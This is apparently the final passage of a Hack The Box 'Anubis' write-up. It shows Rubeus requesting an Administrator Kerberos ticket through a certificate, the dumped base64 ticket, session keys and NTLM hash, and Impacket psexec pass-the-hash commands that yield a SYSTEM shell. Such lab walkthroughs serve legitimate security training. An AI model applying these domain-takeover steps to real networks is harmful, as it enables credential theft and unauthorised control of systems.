[*] Building AS-REQ (w/ PKINIT preauth) for: 'windcorp.htb\Administrator'
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIF1DCCBdCgAwIBBaEDAgEWooIE5DCCBOBhggTcMIIE2KADAgEFoQ4bDFdJTkRDT1JQLkhUQqIhMB+g
      AwIBAqEYMBYbBmtyYnRndBsMd2luZGNvcnAuaHRio4IEnDCCBJigAwIBEqEDAgECooIEigSCBIY7iRnD
      9wAKjfchTihmvFzWD/ObJjt6kcKQX7WL2X3mQErAM4zCy1DQuhV3W8uANkNXZDTPAXOHctcj49KYF8kd
      JYYzS5mQqV6Qf58D/LTTstefcFE1gON2TNcd4mqZ7L5n4QyFPGupf9FMKeSJNjGNSmYciLKb3LvNbkbF
      OSv+Bpzftoew/xM1gHqQxjBHOOykKmWrLZPWuW0emytwCUR1CRRg7JZuXCbJ7YEqF+jVi7sboU/f16n9
      gMnILrzXAxiCAuUIQM0ahq6WpdauXKSiWUB74XdBtIDRBZ3Irpk/fz8oUmmwKWh11vNIvkuMpuSCS5RV
      SQpbt6IpCBFhNXff0zN1KICClMTqiPV+c0+yY8fKMimlV+RH7GScA4CbzDyUN32/1i/tTSdXTaguK/q6
      nGEPZ+q8/Ck0BeTFf1sgJgmJWZ0PAOVBORgVF6OLoIf4zREfdpLCrEOEWZgysPQpmfySRttVNpQFVBJA
      6Etj8tNZiYWjaORh+g7sI29FOk2V+FmpV2yDbj+u1qSRZjqiLCFkd/4BthYsbtcgKODTR5zqLaxORzXv
      wYrrsCft7dB3ttkUomq6hvKMYf37CiqqC4z3R5+Qijm9N0Mh4DFR8zhl/T3/7tmV5P5cmUX73gKoj7fT
      BEf0YT+7bmzj/NmBlIR4+WybpYj0p6ZtT1Up6Z0VOXN18kipIziI/DZfzrqRdcVE0yg9clAcuqB7M44+
      i3q4x3n9VOxkWDPiX/IpyJyLC7t8LhpcnKggo9/JNGhXhp65EacX0kcZynl19/sKpgxtML+vHvzvfMAH
      ysM3EAFnWlQZ4Q5jQaQrtz9nTAeZK4s8UjEGcz88HpKaDmKND49JSFUNrSH/pnnYZ8XtzvzUQ73yBbRd
      uI5BKCnUXl+/qKzFj91KRJAGUzllCQRZfTv1wTw9XXIfot8tdqu5RKsy1kwX9Wzl3WOxP/N1HUDiK6S7
      uxpnZmAitKyZ7g6F8y1+VsvMPR/XFwdtyTDwlRKmsEtW6fCLc/H36n6epCEansWUA+gwzvzp7yXt7mjP
      sOTjxE+qzqj4U0yVg+iI++vrcTtl6faaStJ7/59TTIwHIIJsb/1mfZkyp0jXaOuA13fCVKjVElr21yoi
      G6TjzRAp5USSO8XICZy6YXTsZ0VWPlrjHq3nYomo4FUjO+f8gsXT1yzWFXTkM4HAJXiXV9odrr7Ux8//
      vemzDz+zuueqCRiRIqZ6cLZa/Eu5Ud1c9+cfDaJlJWSTnGj7A5r2F3J9qaJWTTizM3G5gnCeSvTdagT1
      Hmptl082THynzfGDVYEQcYN7LA08lywsNdOEgnz3WVYfHuczgr95THXvWMEcw8g4IhRxF3awE50NXvH2
      vVstVuDl2pnZP08/NfmpUVG4PQGko2f+iWQSfZcvIan+fVBH623DitKBzaeSgnwFWNbbjzyKcoSSa3rO
      SWdCAGm3FlE7EGwNuVG9Ti2BFK5+kSHPUmNdSI9Me0cQ4o4MhY5s1Ke/zfJdfdhPMBtnflEOTx246eju
      PLweuKpFmymc47VSbQmjgdswgdigAwIBAKKB0ASBzX2ByjCBx6CBxDCBwTCBvqAbMBmgAwIBF6ESBBBV
      xvvlEPoEEECQWd246G0RoQ4bDFdJTkRDT1JQLkhUQqIaMBigAwIBAaERMA8bDUFkbWluaXN0cmF0b3Kj
      BwMFAEDhAAClERgPMjAyMjAzMTQxNTMyMzNaphEYDzIwMjIwMzE1MDEzMjMzWqcRGA8yMDIyMDMyMTE1
      MzIzM1qoDhsMV0lORENPUlAuSFRCqSEwH6ADAgECoRgwFhsGa3JidGd0Gwx3aW5kY29ycC5odGI=

  ServiceName           :  krbtgt/windcorp.htb
  ServiceRealm          :  WINDCORP.HTB
  UserName              :  Administrator
  UserRealm             :  WINDCORP.HTB
  StartTime             :  3/14/2022 4:32:33 PM
  EndTime               :  3/15/2022 2:32:33 AM
  RenewTill             :  3/21/2022 4:32:33 PM
  Flags                 :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType               :  rc4_hmac
  Base64(key)           :  Vcb75RD6BBBAkFnduOhtEQ==

So we’ve got TGT… we can now get Administrator hash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
PS C:\Windows\Tasks> .\Rubeus3.exe asktgt /user:Administrator /certificate:cert.pfx /getcredentials

   ______        _                      
  (_____ \      | |                     
   _____) )_   _| |__  _____ _   _  ___ 
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.2 

[*] Action: Ask TGT

[*] Using PKINIT with etype rc4_hmac and subject: CN=Diego Cruz, OU=MainOffice, DC=windcorp, DC=htb 
[*] Building AS-REQ (w/ PKINIT preauth) for: 'windcorp.htb\Administrator'
[*] Using domain controller: fe80::e14a:3283:eeca:a06f%12:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIF1DCCBdCgAwIBBaEDAgEWooIE5DCCBOBhggTcMIIE2KADAgEFoQ4bDFdJTkRDT1JQLkhUQqIhMB+g
      AwIBAqEYMBYbBmtyYnRndBsMd2luZGNvcnAuaHRio4IEnDCCBJigAwIBEqEDAgECooIEigSCBIbzeLjv
      O0bbcKw7lHf2d9sOYj10nLRv7tT+norA8ufBKDqE2Tk4kuNDegYpSe0UXTFU3m9MEUGADdrL71f8TETE
      QbFy/x/JgaHRnyCJh/LkUVOVKymi9pvkbcYvGF9Cj8KZYMDshdeVFfA+qTerc7f/noYnbD0lrh3vReLu
      AwIwpFJb7qpsgVghjIKMUJvKaytr+7EAujCcZEceXB7lrnBxwu8uH38NChg3297yUqEme6A6qrTVRK2l
      00X8eCtNWbAXJWX2y75pgdBHkZGOf3fBdZIs4U0Cxm+cXrc0eGYKAqzt19cgJvPhWHD83R2YycPTLGHh
      vDQeo3DhsP8BMn+MFf6qykdxIOi+gG2j8lqYnkrR25xDF9N8Ca3onjRjVOBtrwIgF91i8VJO/ArhPevk
      n17MmARqGueOSNN1LZc9UtlykaYunsql0EarudLJ1Ux89qIFoPMIURn6lv8L2OFIZ9Fzj2/jKyuODifi
      bo06r8wDE1taSiCdqQEs0VtuasKxVNBUGliTGyvIqOKWdZgDQgXs9ISH1n7ePOfxNieS98bYuT0XuPQg
      qoA8wTb0uqjj6z+0BWu0yu/Teo/+/R0o/+yW8JRfKPfjXJDEEmTCreKvvmM5SgmbQXbU47wduTvTnIPb
      3jsuIYS9ULq3SWWa/MZMR1XWt2bbp3Pw1It6sdcAYZWTFJbVB58up/oV9quX2JG9OB0zu4xogRlP4Zvu
      qCTdH4yOIS5Nger5s40xd6hoYBF9ArPMucj2mCtgQG7AiX/6+ZZOsj/W/I8ifK1lGhHHqtr2Dw4EMRKy
      p+fgaSkj8rmjfnLfjtrOlAWJU9Ut/iKz3LL7YfdviMg6OZeNSNuCZGqObv2OppGQFrIzkRbPKPDWpwX3
      hvk7bg6C00RbcMnLF2SzJGDZ5wz9zoOK8zf9qYCZwZzi/Cw7GUj/8QhHYT0+P0NWp/sQIS0nymxD1Rj5
      tixQMS5hzGJL5HIPNGuGgFdPZfey6fpFHvrUJPMQ9N/r1BpLZwtZXoaXal8ccFdWAamgqS98JABMVxJM
      +nUhgAb0WzuqAVGpILq80b7J9f4lAyxD497vpRm6+VKASzyR9Gd8FOd1caE5cE9cuHasa9lCa58wpCeW
      ztPKT9ld3LlqVdI5lnNwfhjkPvxlkCiZ/BJI/ppG8OnZDy7bbU1QZqfC+RBwbBZ4ZHxEewgCkvOQyOJ0
      XJEeVU62uxuif8nIo1ONUHvP5NP/Rl2UQvRoheUrgbt7gpejcZvqA29g1dVbG/iH4y6OYDWuFvp1kN5X
      Y8tEYAkjEYWDKEJu1MmFlqC6iD3JaMSZ+fSg7fUvxLfYVT+y5PZ/Up24DoBFISkgWysCWR1lwYTdk3Qx
      EtRklzZEjSyf+le0dDPp1ONq2Qqd47gXdRunjT2DxaZ5snuiosD6oDqfY/4mIwHvol1EpDo0kl/TrogX
      bp6l0/t/3W+NpLcCiOdgToT4XYj9z5uh8qFVqXDXSB9bsIJ6On/T52UdRSla4AOx+/1nKRsYn62iAAtf
      0XNBZaGxjLIb9sJgPTGjgdswgdigAwIBAKKB0ASBzX2ByjCBx6CBxDCBwTCBvqAbMBmgAwIBF6ESBBCg
      4yCTAf6r62du8sTvTSQ8oQ4bDFdJTkRDT1JQLkhUQqIaMBigAwIBAaERMA8bDUFkbWluaXN0cmF0b3Kj
      BwMFAEDhAAClERgPMjAyMjAzMTQxNzEzMDhaphEYDzIwMjIwMzE1MDMxMzA4WqcRGA8yMDIyMDMyMTE3
      MTMwOFqoDhsMV0lORENPUlAuSFRCqSEwH6ADAgECoRgwFhsGa3JidGd0Gwx3aW5kY29ycC5odGI=

  ServiceName              :  krbtgt/windcorp.htb
  ServiceRealm             :  WINDCORP.HTB
  UserName                 :  Administrator
  UserRealm                :  WINDCORP.HTB
  StartTime                :  3/14/2022 6:13:08 PM
  EndTime                  :  3/15/2022 4:13:08 AM
  RenewTill                :  3/21/2022 6:13:08 PM
  Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType                  :  rc4_hmac
  Base64(key)              :  oOMgkwH+q+tnbvLE700kPA==
  ASREP (key)              :  317D3212FF750F7A74A404A6AF60B249

[*] Getting credentials using U2U

  CredentialInfo         :
    Version              : 0
    EncryptionType       : rc4_hmac
    CredentialData       :
      CredentialCount    : 1
       NTLM              : 3CCC18280610C6CA3156F995B5899E09

Getting Root using psexec

Since we’ve got Hash of Administrator which is domain admin, we can try using it using psexec.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
luka@kali:~/htb/anubis$ psexec.py -hashes 3CCC18280610C6CA3156F995B5899E09:3CCC18280610C6CA3156F995B5899E09 administrator@10.10.11.102 cmd.exe
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Requesting shares on 10.10.11.102.....
[*] Found writable share ADMIN$
[*] Uploading file UVxKjrNu.exe
[*] Opening SVCManager on 10.10.11.102.....
[*] Creating service Iiyl on 10.10.11.102.....
[*] Starting service Iiyl.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.2114]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>

The End! Awesome box! PS: Make sure you’re using latest Rubeus and Certify as those were upgraded not so long ago!

This post is licensed under CC BY 4.0 by the author.